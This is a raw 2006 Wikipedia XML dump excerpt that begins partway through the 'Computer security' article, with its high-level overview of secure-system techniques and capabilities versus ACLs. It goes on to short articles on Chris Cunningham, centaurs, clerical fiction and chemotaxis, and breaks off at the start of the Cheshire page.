Full [[audit trail]]s should be kept of system activity, so that when a security breach occurs, the mechanism and extent of the breach can be determined.  Storing audit trails remotely, where they can only be appended to, can keep intruders from covering their tracks.  Finally, [[full disclosure]] helps to ensure that when bugs are found the &quot;[[window of vulnerability]]&quot; is kept as short as possible.

== Early history of security by design ==

The early [[Multics]] operating system was notable for its early emphasis on computer security by design, and Multics was possibly the very first operating system to be designed as a secure system from the ground up. In spite of this, Multics' security was broken, not once, but repeatedly. This led to further work on computer security that prefigured modern [[security engineering]] techniques.

== Techniques for creating secure systems ==

The following techniques can be used in engineering secure systems. These techniques, whilst useful, do not of themselves ensure security. One security maxim is &quot;a security system is no stronger than its weakest link&quot;

* [[Automated theorem proving]] and other verification tools can enable critical algorithms and code used in secure systems to be mathematically proven to meet their specifications.
* Thus simple [[microkernel#Microkernels|microkernels]] can be written so that we can be sure they don't contain any bugs: eg EROS[http://www.eros-os.org/] and Coyotos[http://coyotos.org/].
* A bigger OS, capable of providing a standard API like POSIX, can be built on a microkernel using small API servers running as normal programs. If one of these API servers has a bug, the kernel and the other servers are not affected: eg [[GNU Hurd|Hurd]].
* [[Cryptography|Cryptographic]] techniques can be used to defend data in transit between systems, reducing the probability that data exchanged between systems can be intercepted or modified.
* Strong [[authentication]] techniques can be used to ensure that communication end-points are who they say they are.
* [[Secure cryptoprocessor]]s can be used to leverage [[physical security]] techniques into protecting the security of the computer system.
* [[Chain of trust]] techniques can be used to attempt to ensure that all software loaded has been certified as authentic by the system's designers.
* [[Mandatory access control]] can be used to ensure that privileged access is withdrawn when privileges are revoked. For example, deleting a user account should also stop any processes that are running with that user's privileges.
* [[Capability (computers)|Capability]] and [[access control list]] techniques can be used to ensure privilege separation and mandatory access control. The next sections discuss their use.

&lt;i&gt;Some of the following items may belong to the [[computer insecurity]] article:&lt;/i&gt;
&lt;div id=&quot;unpatched&quot;&gt;&lt;/div&gt;  &lt;!-- the previous div tag is needed by some articles that link to that part of the article --&gt;
* In a production system when an [[application software|application]] provides no way to patch already known security flaws, don't use it or use another one (at least until the fix is available). Publicly known flaws are the main entry used by [[Computer worm|worms]] to automatically break into a system and then spread to other systems connected to it. The security website [[Secunia]] provides a search tool for unpatched known flaws in popular products.
[[Image:encryption_decryption.PNG|right|frame|[[Cryptography|Cryptographic]] techniques involve transforming information, scrambling it so it becomes unreadable during transmission. The intended recipient can unscramble the message, but eavesdroppers cannot.]]
* [[Backup]]s are a way of securing your information; they are another copy of all your important computer files kept in another location.  These files are kept on hard disks, [[CD-R]]s, [[CD-RW]]s, and [[tape]]s.  Backups can be kept in a multitude of locations, some of the suggested places would be a fireproof, waterproof, and heat proof safe, or in a separate, offsite location than that in which the original files are contained.  Some individuals and companies also keep their backups in [[safe deposit box]]es inside the [[vault]]s of [[bank]]s.  There is also a fourth option, which involves using one of the companies on the [[Internet]] that backs up files for both business and individuals.
** Backups are also important for reasons other than security.  Natural disasters, such as earthquakes, hurricanes, or tornadoes, may strike the building where the computer is located.  The building can be on fire, or an explosion may occur.  There needs to be a recent backup at an alternate secure location, in case of such kind of disaster.  The backup needs to be moved between the geographic sites in a secure manner, so as to prevent it from being stolen.
* [[Anti-virus software]] consists of computer programs that attempt to identify, thwart and eliminate [[computer viruses]] and other malicious software ([[malware]]). 
* [[Firewall (networking)|Firewalls]] are systems which help protect computers and computer networks from attack and subsequent intrusion by restricting the network traffic which can pass through them, based on a set of system administrator defined rules. 
* Access [[authorization]] restricts access to a computer to group of users through the use of [[authentication]] systems. These systems can protect either the whole computer - such as through a interactive [[logon]] screen - or individual services, such as an [[File Transfer Protocol|FTP]] server. There are many methods for identifying and authenticating users, such as [[password]]s, [[identification card]]s, and, more recently, [[smart card]]s and [[biometric]] systems.
* [[Encryption]] is used to protect your message from the eyes of others. It can be done in several ways by switching the characters around, replacing characters with others, and even removing characters from the message. These have to be used in combination to make the encryption secure enough, that is to say, sufficiently difficult to [[Cryptanalysis|crack]]. [[Public key encryption]] is a refined and practical way of doing encryption. It allows for example anyone to write a message for a list of recipients, and only those recipients will be able to read that message. 
* [[Intrusion-detection system]]s can scan a network for people that are on the network but who should not be there or are doing things that they should not be doing, for example trying a lot of passwords to gain access to the network.
* [[Social engineering (computer security)|Social engineering]] awareness - Keeping yourself and your employees aware of the dangers of social engineering and/or having a policy in place to prevent social engineering can reduce successful breaches of your network and servers.

== Capabilities vs. ACLs ==

Within computer systems, the two fundamental means of 
enforcing privilege separation are [[access control list]]s (ACLs) and [[Capability_(computers)|capabilities]]. The semantics of ACLs have been proven to be insecure in many situations (e.g., [[Confused deputy problem]]). It has also been shown that ACL's promise of giving access to an object to only one person can never be guaranteed in practice. Both of these problems are resolved by capabilities.  This does not mean practical flaws exist in all ACL-based systems &amp;mdash; only that the designers of certain utilities must take responsibility to ensure that they do not introduce flaws.  

Unfortunately, for various historical reasons, capabilities have been mostly restricted to research [[operating system]]s and commercial OSes still use ACLs. Capabilities can, however, also be implemented at the language level, leading to a style of programming that is essentially a refinement of standard object-oriented design. An open source project in the area is the [[E programming language | E language]] [http://www.erights.org/].  

The Cambridge [[CAP computer]] demonstrated the use of capabilities, both in hardware and software, in the 1970s, so this technology is hardly new. A reason for the lack of adoption of capabilities may be that ACLs appeared to offer a 'quick fix' for security without pervasive redesign of the operating system and hardware. 

The most secure computers are those not connected to the Internet and shielded from any interference.  In the real world, the most secure come from [[operating system]]s where [[security]] is not an add-on, such as [[OS/400]] from [[IBM]].  This almost never shows up in lists of vulnerabilities for good reason.  Years may elapse between one problem needing remediation and the next.

A good example of a current secure system is [[Extremely Reliable Operating System|EROS]]. But see also the article on [[secure operating systems]]. [[TrustedBSD]] is an example of an [[opensource]] project with a goal, among other things, of building capability functionality into the [[FreeBSD]] operating system.  Much of the work is already done.

== Other uses of the term &quot;trusted&quot; ==

The term &quot;trusted&quot; is often applied to operating systems that meet different levels of the [[Common Criteria|common criteria]], some of which are discussed above as the techniques for creating secure systems.  

A computer industry group led by [[Microsoft]] has used the term &quot;trusted system&quot; to include making computer hardware that could impose restrictions on how people use their computers. The project is called the [[Trusted Computing Group]] ('''TCG'''). See also [[Next-Generation Secure Computing Base]].

== Further reading ==

Computer security is a highly complex field, and it is relatively immature, except on certain very secure systems that never make it into the news media because nothing ever goes wrong that can be publicized, and for which there is not much literature because the security details are proprietary.  The ever-greater amounts of money dependent on electronic information make protecting it a growing industry and an active research topic.

==Notable persons in computer security==

*[[Ross Anderson]]
*[[Steven M. Bellovin]]
*[[Edward Felten]]
*[[Butler Lampson]]
*[[Bruce Schneier]]
*[[Gene Spafford]]
*[[David Wagner]]
*[[John Bambenek]]
*[[William Cheswick]]
For additional persons, see the categories [[:Category:Computer security specialists|Computer security specialists]] and [[:Category:Cryptographers|Cryptographers]].

== See also ==
''See [[:Category:Computer security]] for a complete list of all related articles''.

&lt;div style=&quot;float: left;&quot;&gt;
*[[Alice and Bob]] problem solving
*[[Authentication]]
*[[Strong authentication]]
*[[Authorization certificate]] 
*[[Bell-LaPadula model]]
*[[Buffer overflow]]
*[[Code injection]]
*[[Capability (computers)]]
*[[Computer Fraud and Abuse Act]] (U.S.)
*[[Computer security policy]]
*[[COMSEC]]
*[[Contract security]]
*[[Security cracking|cracking]]
*[[Cross-site scripting]]
*[[Cryptography]]
*[[Defensive programming]]
*[[Directory traversal]]
*[[Electronic underground community]]
*[[Format string attacks]]
*[[Full disclosure]]&lt;/div&gt;
&lt;div style=&quot;float: right;&quot;&gt;
*[[Hacker]]
*[[INFOSEC]]
*[[Intrusion-detection system]]
*[[Intrusion-prevention system]]
*[[Memory debugger]]
*[[Monoculture]]
*[[Non-interference]]
*[[Password policy]]
*[[Physical security]]
*[[Penetration test]]
*[[Secure by design]]
*[[Secure operating system]]
*[[Security engineering]]
*[[Penetration testing]]
*[[Security focused operating system]]
*[[Shellcode]]
*[[Shibboleth#Computer security|Shibboleth]]
*[[Software testing]]
*[[SQL injection]]&lt;/div&gt;&lt;div style=&quot;float: middle; height: 380px;&quot;&gt;&lt;/div&gt;

== References ==
* [[Ross Anderson|Ross J. Anderson]]: &lt;cite&gt;Security Engineering: A Guide to Building Dependable Distributed Systems&lt;/cite&gt;, ISBN 0471389226
* [[Bruce Schneier]]: &lt;cite&gt;Secrets &amp; Lies: Digital Security in a Networked World&lt;/cite&gt;, ISBN 0471253111
* [[Min Gyung Kang]]: &lt;cite&gt;A Complete Dufus Guide to Computer Security&lt;/cite&gt;, ISBN 313378675309
* [[Paul A. Karger]], [[Roger R. Schell]]: &lt;cite&gt;Thirty Years Later: Lessons from the Multics Security Evaluation&lt;/cite&gt;, IBM white paper.
* [[Clifford Stoll]]: &lt;cite&gt;Cuckoo's Egg: Tracking a Spy Through the Maze of Computer Espionage&lt;/cite&gt;, Pocket Books, ISBN 0743411463
* [[Stephen Haag]], [[Maeve Cummings]], [[Donald McCubbrey]], [[Alain Pinsonneault]], [[Richard Donovan]]: &lt;cite&gt;Management Information Systems for the information age&lt;/cite&gt;, ISBN 0070911207

== External links ==
* [http://www.networkdictionary.com/security/ Network Security vulnerabilities, Protocols, Terms and Glosaries]
* [http://www.dwheeler.com/secure-programs Secure Programming for Linux and Unix HOWTO] (GFDL License)
*[http://www-106.ibm.com/developerworks/views/linux/articles.jsp?sort_order=desc&amp;amp;expand=&amp;amp;sort_by=Date&amp;amp;show_abstract=true&amp;amp;view_by=Search&amp;amp;search_by=secure+programmer%3A &quot;Secure Programmer&quot; article series]
* [http://tldp.org/HOWTO/Security-HOWTO/index.html The Linux Security HOWTO]
* [http://www.caplet.com/security/taxonomy/index.html Computer Security Fact Forum Framework]
* [http://www.eros-os.org/essays/capintro.html Intro to Caps]
* [http://www.eros-os.org/essays/ACLSvCaps.html ACLs vs. Caps]
* [http://www.skyhunter.com/marcs/capabilityIntro/index.html Intro to Cap Security]
* [http://www.securityforumx.com/ Computer Security Discussion Forums]
* [http://www.erights.org/ Open Source Distributed Capabilities]
* [http://www.waterken.com/ REST and capability-based security]
* [http://www.ssl-forum.com/ SSL Security Forum]
* [http://www.cs.washington.edu/homes/levy/capabook/ Capability-Based Computer Systems]&quot;
* [http://citeseer.ist.psu.edu/cs?q=computer+and+security Citations from CiteSeer]
* [http://www.ietf.org/rfc/rfc2828.txt RFC2828, Internet Security Glossary] Official glossary of security-related terms used in Internet Standards Documents
* [http://www.cs.auckland.ac.nz/~pgut001/pubs/secure_del.html ''Secure Deletion of Data from Magnetic and Solid-State Memory''] by Peter Gutmann
* [http://groups.google.com/group/n3td3v n3td3v group] - news group
* [http://secunia.com/advisories/ Secunia's list of known security vulnerabilities in most modern software]
* [http://www.securitydocs.com/ SecurityDocs] Computer Security Whitepaper Directory
* (pdf) - [http://www.xuis.com/documents/passstation/StandDeliver.pdf  Stand &amp; Deliver] XuiS White Paper on the why's &amp; wherefore's of computer security
*[http://www.wbglinks.net White Hat, Black Hat, Grey Hat links]
*[http://www.thiemeworks.com/blog/archives/2005/02/fear_and_loathi.html Fear and Loathing in Information Security] by Mick Bauer
*[http://www.un.int/kamal/informationinsecurity Information Insecurity] by Ahmad Kamal and Eduardo Gelbstein

[[Category:Computer security| ]]
[[category:Electronic commerce]]

[[bs:Sigurnost računara]]
[[ca:Seguretat informàtica]]
[[de:Computersicherheit]]
[[es:Seguridad informática]]
[[eo:Komputika Sekureco]]
[[fr:Sécurité informatique]]
[[it:Sicurezza informatica]]
[[he:אבטחת מחשב אישי ברשת]]
[[nl:Computerbeveiliging]]
[[ja:コンピュータセキュリティ]]
[[pl:Bezpieczeństwo teleinformatyczne]]
[[pt:Segurança de computadores]]
[[sk:Počítačová bezpečnosť]]
[[sv:Datasäkerhet]]
[[uk:Безпека мережі]]</text>
    </revision>
  </page>
  <page>
    <title>Chris Cunningham</title>
    <id>7400</id>
    <revision>
      <id>41593692</id>
      <timestamp>2006-02-28T10:34:48Z</timestamp>
      <contributor>
        <username>Vizjim</username>
        <id>319214</id>
      </contributor>
      <text xml:space="preserve">'''Chris Cunningham''' is a British [[music video]] [[film director]] and [[video art]]ist.

He was first commissioned to as a comic book artist by [[David Bishop]] for the UK weekly ''[[2000 AD (comic) | 2000 AD]]'', under the name '''Chris Halls'''.  His strip work was heavily influenced by [[Simon Bisley]].

His video work, &quot;Flex&quot; (containing original music by [[Aphex Twin]]) was exhibited at the [[Royal Academy of Arts]] in London in [[2000]].

He has worked on special make-up effects for the films ''[[Alien³]]'', ''[[Alien: Resurrection]]'' and ''[[Judge Dredd (film)|Judge Dredd]]'' and model making on ''[[Hardware (1990 film)|Hardware]]'' and ''[[Nightbreed]]''. He also worked for over a year on the film ''[[A.I. (film)|A.I.]]'' when it was a [[Stanley Kubrick]] project. 

Cunningham once had plans to direct a film of ''[[Neuromancer]]'' by [[William Gibson (novelist)|William Gibson]], and of the comic book series ''[[RanXerox]]'', as well as ''[[A Scanner Darkly]]'' by [[Philip K Dick]]. He has said in at least two interviews that he no longer wishes to adapt someone else's work, but write his own screenplay.

== Videos ==
* &quot;[[Space Junkie]]&quot; (1996) video for [[Holy Barbarians]]
* &quot;[[Another Day]]&quot; (1996) video for [[Lodestar]]
* &quot;[[Personally]]&quot; (1996) video for [[12 Rounds]]
* &quot;[[Something To Say]]&quot; (1997) video for [[Jocasta]]
* &quot;[[Jesus Coming In for the Kill]]&quot; (1997) video for [[Life's Addiction]]
* &quot;[[Tranquillizer]]&quot; (1997) video for [[Geneva]]
* &quot;[[No More Talk]]&quot; (1997) video for [[Dubstar]]
* &quot;[[Light Aircraft On Fire]]&quot; video for [[Auteurs]]
* &quot;[[Back With The Killer Again]]&quot; video for [[Auteurs]]
* &quot;[[The Next Big Thing]]&quot; video for [[Jesus Jones]]
* &quot;[[36 Degrees]]&quot; video for [[Placebo]]
* &quot;[[Second Bad Vilbel]] (1995)&quot; video for [[Autechre]]
* &quot;[[Only You (Portishead)|Only You]]&quot; (1998) video for [[Portishead]]
* &quot;[[Afrika Shox]]&quot; video for [[Leftfield]] (1999)
* &quot;[[Come On My Selector]]&quot; (1998) video for [[Squarepusher]]
* &quot;[[Frozen (Madonna)|Frozen]]&quot; (1998) video for [[Madonna (entertainer)|Madonna]]
* &quot;[[All is Full of Love]]&quot; (1998) video for [[Björk]]
* &quot;[[Come to Daddy]]&quot;, (1997) &quot;[[Windowlicker]]&quot; (1999) and &quot;[[Monkey Drummer]]&quot; (2001) videos for [[Aphex Twin]]
* &quot;[[Rubber Johnny]]&quot; (2005), using a track from Aphex Twin's album ''[[drukqs]]''

== External links ==
*[http://www.director-file.com/cunningham/ Director File &amp;middot;&amp;middot; Chris Cunningham] documents all of Chris' work
*[http://www.directorslabel.com/ DirectorsLabel.com] co-founded with [[Spike Jonze]] and [[Michel Gondry]]	 
* [http://pitchforkmedia.com/interviews/c/cunningham_chris-05/ Interview] with [http://www.pitchforkmedia.com Pitchfork Media]	 
* [http://www.imdb.com/name/nm0192260/ Internet Movie Database listing]	 
-		 
-	[[Category:1970 births|Cunningham, Chris]]
[[Category:Living people|Cunningham, Chris]]	 
-	[[Category:Music video directors|Cunningham, Chris]]	 
-		 
-	[[de:Chris Cunningham]]
-	[[es:Chris Cunningham]] 
-	[[fr:Chris Cunningham]]	 
-	[[hu:Chris Cunningham]]
-	[[pl:Chris Cunningham]]</text>
    </revision>
  </page>
  <page>
    <title>Centaur</title>
    <id>7401</id>
    <revision>
      <id>41705521</id>
      <timestamp>2006-03-01T04:41:03Z</timestamp>
      <contributor>
        <username>Prosfilaes</username>
        <id>49272</id>
      </contributor>
      <comment>rv bowlderism</comment>
      <text xml:space="preserve">:''This article is on the mythological creatures. For information on the use of the term &quot;centaur&quot; in astronomy and space sciences, see the articles [[centaur (planetoid)]] and [[Centaur (rocket stage)]].''

[[Image:GuidoNessus.jpg|thumb|right|200px|[[Guido Reni]], ''Abduction of Deianira'', 1620-21]]
In [[Greek mythology]], the '''centaurs''' ([[Greek language|Greek]]: Κένταυροι) are a race part [[human]] and part [[horse]], with a horse's body, including all four legs, and a human head and torso with arms. The human portion is joined at the waist to the horse's shoulders where the head and neck would be.

The general character of centaurs is that of wild, lawless and inhospitable beings, the slaves of their animal passions. Two exceptions to this rule were [[Pholus]] and [[Chiron]], who expressed their &quot;good&quot; nature, wise and kind centaurs. They are variously explained by a fancied resemblance to the shapes of clouds, or as spirits of the rushing mountain torrents or winds. 
 
Dwelling in the mountains of [[Thessaly]], the centaurs were the offspring of [[Ixion]] and [[Nephele]], the rain-cloud. Alternatively, the centaurs were the offspring of Kentauros (the son of Ixion and Nephele) and some [[Magnesia]]n mares or of [[Apollo (god)|Apollo]] and [[Hebe (mythology)|Hebe]]. It was sometimes said that Ixion planned to have sex with [[Hera]] but [[Zeus]] prevented it by fashioning a cloud in the shape of Hera. Since Ixion is usually considered the ancestor of the centaurs, they may be referred to by poets as the [[Ixionidae]].
[[Image:AC marbles.jpg|thumb|left|A Centaur battles a Lapith on this [[metope (architecture)|metope]] from the [[Parthenon]]]]
The Centaurs are best known for their fight with the [[Lapith]]ae, caused by their attempt to carry off [[Hippodamia]] (a &quot;horse&quot; woman herself) on the day of her marriage to [[Peirithous]], king of the Lapithae, himself the son of [[Ixion]]. The strife among these cousins is a metaphor for the conflict between the lower appetites and civilized behavior in humankind. [[Theseus]], who happened to be present, a hero and founder of cities, threw the balance in favor of the right order of things, and assisted [[Pirithous]]. The Centaurs were driven off ([[Plutarch]], ''Theseus,'' 30; [[Ovid]], ''[[Metamorphoses (poem)|Metamorphoses]]'' xii. 210; [[Diodorus Siculus]]. iv. 69, 70). Vignettes of the battle between Lapiths and Centaurs were sculpted in [[bas-relief]] on the [[frieze]] of the [[Parthenon]], which was dedicated to wise [[Athena]].

Like the [[Titanomachy]], the defeat of the [[Titan (mythology)|Titan]]s by the Olympian gods, the contests with the Centaurs typify the struggle between civilization and barbarism.
[[Image:Centaur.JPG|thumbnail|right|''Abduction of [[Hippodameia]]'', [[Carrier-Belleuse]]]]
Among the centaurs, the third one with an individual identity is [[Nessus (mythology)|Nessus]].  The mythological episode of the centaur Nessus carrying off Deianira, the bride of [[Heracles]], also provided [[Giambologna]] (1529-1608), a Flemish sculptor whose career was spent in Italy, splendid opportunities to devise compositions with two forms in violent interaction. He made several versions of Nessus carrying off Deianira, represented by examples in the [[Louvre Museum|Louvre]], the [[Grünes Gewölbe]], Dresden, the [[Frick Collection]], New York and the [[Huntington Library]], San Marino, California. His followers, like [[Adriaen de Vries]] and [[Pietro Tacca]], continued to make countless repetitions of the subject. When [[Albert-Ernest Carrier-Belleuse|Belleuse]] tackled the same play of forms in the 19th century, (''illustration right'') he titled it ''Abduction of [[Hippodameia]]'' .

In early Attic vase-paintings centaurs were represented as human beings in front, with the body and hind legs of a horse attached to the back; later, they were men only as far as the waist. The battle with the Lapithae, and the adventure of [[Heracles]] with Pholus ([[Apollodorus]], ii. 5; Diod. Sic. IV, li) are favourite subjects of Greek art (see Sidney Colvin, ''Journal of Hellenic Studies,'' I, 1881, and the exhaustive article in [[Wilhelm Heinrich Roscher|Roscher]]'s ''Ausführliches Lexikon der griechischen und römischen Mythologie'').

==Theories of origin==
The armchair anthropologist and writer [[Robert Graves]] speculated that the Centaurs of Greek myth were a dimly-remembered, pre-Hellenic fraternal earth cult who had the horse as a totem. A similar theory was incorporated into [[Mary Renault]]'s ''The Bull from the Sea.'' 

Other sources speculate that the idea of centaurs came from the first reaction of a non-riding culture, as in the [[Minoan civilization|Minoan]] [[Aegean Sea|Aegean world]], to nomads who were mounted on horses. The theory goes that such riders would appear as half-man, half-animal. Horse taming and horseback culture evolved first in the southern [[steppe]] grasslands of Central Asia, perhaps approximately in modern [[Kazakhstan]].

Of the various Classical Greek authors who mentioned centaurs, [[Pindar]] was the first who describes undoubtedly a combined monster. Previous authors ([[Homer]] etc) only use words that could also mean ordinary men riding ordinary horses.

The Greek word ''kentauros'' could be [[etymology|etymologized]] as ''ken - tauros'' = &quot;piercing bull&quot;. Some say that the Greeks took the constellation of [[Centaurus]], and also its name &quot;piercing bull&quot;, from [[Mesopotamia]], where it symbolized the god [[Baal]] who represents rain and fertility, fighting with and ''piercing'' with his horns the demon [[Mot]] who represents the summer drought. (In Greece, Mot became the constellation of [[Lupus]].) Later in Greece, the constellation of Centaurus was reinterpreted as a man riding a horse, and linked to legends of Greece being invaded by tribes of horsemen from the north. The idea of a combined monster may have arisen as an attempt to fit the pictorial figure to the stars better.

==Centaurs in modern fiction==
[[Image:UT-Hodges-Centaur.jpg|thumb|240px|right|The Centaur from [[Volos]], at the [[University of Tennessee Hodges Library]].]] Centaurs have appeared many times and in many places in modern times, in for example [[Artemis Fowl]], ''[[Fantasia (film) |Fantasia]]'', the ''[[Narnia]]'' books, ''[[Hercules: The Legendary Journeys]]'', ''[[Xena: Warrior Princess]]'' and ''[[Harry Potter]]''.

In fantasy novels the view of centaurs has been changed from barbarism to an honorable race that practices breeding and other actions relative to that of animals.

Though the Greek word ''kentauros'' is said to be composed of a single [[morpheme]]&amp;mdash; perhaps not a Greek one in its origin&amp;mdash;, a suffix ''-taur'' has been invented by writers and game designers in the late 20th century for other fantasy animal-human hybrids. For more information, see the article [[Taur]].

==See also==
Other hybrid creatures appear in Greek mythology, always with some liminal connection that links Hellenic culture with archaic or non-Hellenic cultures: 
*[[Harpy]]
*[[Minotaur]]
*[[Mermaid]]s 
*[[Satyr]]s
*[[Sphinx]]
*[[Typhon]]

==External links==
*[http://members.aol.com/JWFvases/page2/index.htm John W. Philpus, &quot;A Catalogue of Centaurs on Greek and Related Painted Pottery&quot;, 2000]
*[http://english.pravda.ru/science/19/94/377/16284_centaur.html Did centaurs actually exist?] - Article from Pravda.ru in English

{{commons|Centaur}}
[[Category:Legendary creatures]]
[[Category:Greek mythology]]
[[Category:Centaurs|*]]
[[Category:Fictional species]]

[[bg:Кентавър]]
[[ca:Centaure (mitologia)]]
[[da:Kentaur]]
[[de:Kentaur]]
[[et:Kentaurid]]
[[el:Κένταυρος]]
[[es:Centauro]]
[[eo:Centaŭro]]
[[fr:Centaure (mythologie)]]
[[gl:Centauro]]
[[it:Centauro]]
[[he:קנטאור]]
[[la:Centaurus]]
[[lt:Kentauras (mitologija)]]
[[hu:Kentaur]]
[[nl:Centaur (mythologie)]]
[[ja:ケンタウロス]]
[[pl:Centaur (mitologia)]]
[[ru:Кентавр (мифология)]]
[[sl:Kentaver]]
[[fi:Kentauri (taruolento)]]
[[th:เซนทอร์]]
[[zh:半人马]]</text>
    </revision>
  </page>
  <page>
    <title>Clerical fiction</title>
    <id>7402</id>
    <revision>
      <id>15905472</id>
      <timestamp>2005-05-24T19:27:07Z</timestamp>
      <contributor>
        <username>MakeRocketGoNow</username>
        <id>71825</id>
      </contributor>
      <comment>recat</comment>
      <text xml:space="preserve">'''Clerical fiction''' is a semi-humorous term for describing a few books and novels which appeared in [[Poland]] during the [[1990s]]. This subgenre of [[science fiction]] treated the [[Catholicism|Catholic Church]] or at least religious and church-related topics (like [[Abortion|abortion]]). Very few of the stories are highly polished works. Mostly was the instrument of revival of post-communists, that used anti-Catholicism as the leverage to achieve political success in [[Poland]], even though many people were Catholic.

==See also==
* [[Social Fiction]]
* [[Soft science fiction]]

{{lit-stub}}

[[Category:Science fiction genres]]</text>
    </revision>
  </page>
  <page>
    <title>Chemotaxis</title>
    <id>7403</id>
    <revision>
      <id>41210495</id>
      <timestamp>2006-02-25T20:32:42Z</timestamp>
      <contributor>
        <username>Funhistory</username>
        <id>184437</id>
      </contributor>
      <comment>Added Adler/Tso reference &amp; statement comparing chem-responses to brains</comment>
      <text xml:space="preserve">'''Chemotaxis''' is the phenomenon in which bodily cells, [[bacterium|bacteria]], and other single-cell or [[multicellular]] organisms direct their movements according to certain chemicals in their environment. This is important for bacteria to find food (for example, [[glucose]]) by swimming towards the highest concentration of food molecules, or to flee from [[poison]]s (for example, [[phenol]]).  In multicellular organisms, chemotaxis is critical in development as well as normal function.  In addition, it has been recognized that mechanisms that allow chemotaxis in animals can be subverted during [[cancer]] [[metastasis]].

== Bacterial chemotaxis ==
Many bacteria, such as ''[[E. coli]]'', have several [[flagellum|flagella]] (4-10 typically). These can rotate in two ways :
# Counter-clockwise rotation aligns the flagella into a single rotating bundle, causing the bacterium to swim in a straight line.
# Clockwise rotation breaks the flagella bundle apart such that each flagellum points in a different direction, causing the bacterium to tumble in place.
The directions of rotation are given for an observer outside the cell looking down the flagellum toward the cell.

=== Behaviour ===
The overall movement of a bacterium is the result of alternating tumble and swim phases. If one watches a bacterium swimming in a uniform environment, its movement will look like a [[random walk]] with relatively straight swims interrupted by random tumbles that reorient the bacterium. Bacteria such as ''[[E. coli]]'' are unable to choose the direction in which they swim, and are unable to swim in a straight line for more than a few seconds due to rotational [[diffusion]]. In other words, bacteria &quot;forget&quot; the direction in which they are going. Given these limitations, it is remarkable that bacteria can direct their motion to find favorable locations with high concentrations of attractants (usually food) and avoid repellents (usually poisons).

In the presence of a chemical [[gradient]] bacteria will chemotax, or direct their overall motion based on the gradient. If the bacterium senses that it is moving in the correct direction (toward attractant/away from repellent), it will keep swimming in a straight line for longer before tumbling. If it is moving in the incorrect direction, it will tumble sooner and try a new direction at random. In other words, bacteria like ''[[E. coli]]'' use temporal sensing to decide whether life is getting better or worse. This way, it finds the location with the highest concentration of attractant (usually the source) quite well.  Even under very high concentrations, it can still distinguish very small differences in concentration.  Fleeing from a repellent works with the same efficiency.

It remains remarkable that this purposeful [[biased random walk (biochemistry)|random walk]] is a result of simply choosing between two methods of random movement, namely tumbling and straight swimming.  In fact, chemotactic responses such as ''forgetting'' direction and ''choosing'' movements resemble decision-making abilities of higher lifeforms with brains that process sensory data.

The helical nature of the individual flagellar filament is critical for this movement to occur.  As such, the protein that makes up the flagellar filament, flagellin, is quite similar among all flagellated bacteria.  Vertebrates seem to have taken advantage of this fact by possessing an immune receptor ([[TLR5]]) designed to recognize this conserved protein.

As in many instances in biology, there are bacteria that do not follow this rule.  Many bacteria, such as ''Vibrio'', are monoflagellated and have a single flagellum at one pole of the cell. Their method of chemotaxis is different. Others possess a single flagellum that is kept inside the cell wall. These bacteria move by spinning the whole cell, which is shaped like a corkscrew.

=== Signal transduction ===
A bacterium has three types of [[transmembrane receptor]]s, for attractants, repellents and [[periplasmatic protein]]s. The signals from these receptors are transmitted across the [[plasma membrane]] into the [[cytosol]], where ''che proteins'' are activated. The che proteins alter the tumbling frequency, and alter the receptors.

==== Flagellum regulation ====
The proteins CheW and CheA bind to the receptor. The activation of the receptor by an external stimulus causes [[autophosphorylation]] in CheA, which in turn phosphorylates CheB and CheY. CheY induces tumbling by interacting with the flagellum protein FliM.

==== Receptor regulation ====
CheB, which was activated by CheA, is a methyl[[esterase]], removes methyl residues from [[glutamate]] residues on the [[cytosol|cytosolic]] side of the receptor. It works against CheR, a methyl[[transferase]], which adds methyl residues to the glutamate residues. The more methyl residues are attached to the receptor, the more sensitive the receptor. As the signal from the receptor induces demethylation of the receptor in a [[feedback loop]], the system is continuously adjusted to environmental chemical levels, remaining sensitive for small changes even under extreme chemical concentrations. This regulation allows the bacterium to 'remember' chemical concentrations from the recent past and compare them to those it is currently experiencing, thus 'know' whether it is traveling up or down a gradient.


== Eukaryotic chemotaxis ==
Some eukaryotic cells, such as [[immune system|immune cells]] also move to where they need to be.  The mechanism by which eukaryotic cells chemotax is quite different than in bacteria.

=== Receptors ===
For the most part, eukaryotic cells sense the presence of chemotactic stimuli though the use of 7-transmembrane (or serpentine) heterotrimeric [[G protein|G-protein]] coupled receptors.  This class of receptors is huge, representing a significant portion of the genome.  Some members of this gene superfamily are used in eyesight (rhodopsins) as well as in olfaction (smelling).

=== Motility ===
Unlike motility in bacterial chemotaxis, the mechanism by which eukaryotic cells physically move is unclear.  There appears to be mechanisms by which an external chemotactic gradient is sensed and turned into an intracellular PIP2 gradient, which results in a gradient in the activation of signaling pathway culminating in the polymerisation of actin filaments, although the details of the signaling pathway is still not totally clear.


==References==

{{cite journal | author=Julius Adler and Wung-Wai Tso | title=Decision-Making in Bacteria: Chemotactic Response of Escherichia Coli to Conflicting Stimuli | journal=Science | year=1974 | volume=184 | pages=1292-4}} 

Howard C. Berg (2003), E. coli ''in motion'', Springer-Verlag, NY. ISBN 0387008888

[[Category:Behavior]]
[[Category:Cell biology]]
[[Category:Perception]]
[[Category:Signal transduction]]

[[de:Chemotaxis]]
[[it:Chemiotassi]]
[[he:&amp;#1499;&amp;#1497;&amp;#1502;&amp;#1493;&amp;#1496;&amp;#1511;&amp;#1505;&amp;#1497;&amp;#1505;]]</text>
    </revision>
  </page>
  <page>
    <title>Crimean war</title>
    <id>7405</id>
    <revision>
      <id>15905475</id>
      <timestamp>2002-07-31T02:47:45Z</timestamp>
      <contributor>
        <ip>62.253.64.7</ip>
      </contributor>
      <minor />
      <comment>redir Crimean War</comment>
      <text xml:space="preserve">#REDIRECT [[Crimean War]]</text>
    </revision>
  </page>
  <page>
    <title>Cheshire</title>
    <id>7406</id>
    <revision>
      <id>41912290</id>
      <timestamp>2006-03-02T15:52:50Z</timestamp>
      <contributor>
        <username>Grstain</username>
        <id>74943</id>
      </contributor>
      <minor />
      <comment>sort; consistency; tidy</comment>
      <text xml:space="preserve">''This article is about the English county. For other uses see [[Cheshire (disambiguation)]]''

{| class=&quot;toccolours&quot; style=&quot;border-collapse: collapse; float: right; margin-left: 1em&quot; border=&quot;1&quot; cellpadding=&quot;3&quot; cellspacing=&quot;0&quot; width=&quot;300&quot;
|+ &lt;big&gt;'''Cheshire'''&lt;/big&gt;
|-
| colspan=2 style=&quot;text-align: center; background: white;&quot;|[[Image:EnglandCheshire.png]]
|-
| colspan=2 style=&quot;background: #f0f0f0; font-weight: bolder;&quot;|Geography
|-
! width=&quot;45%&quot; | Status
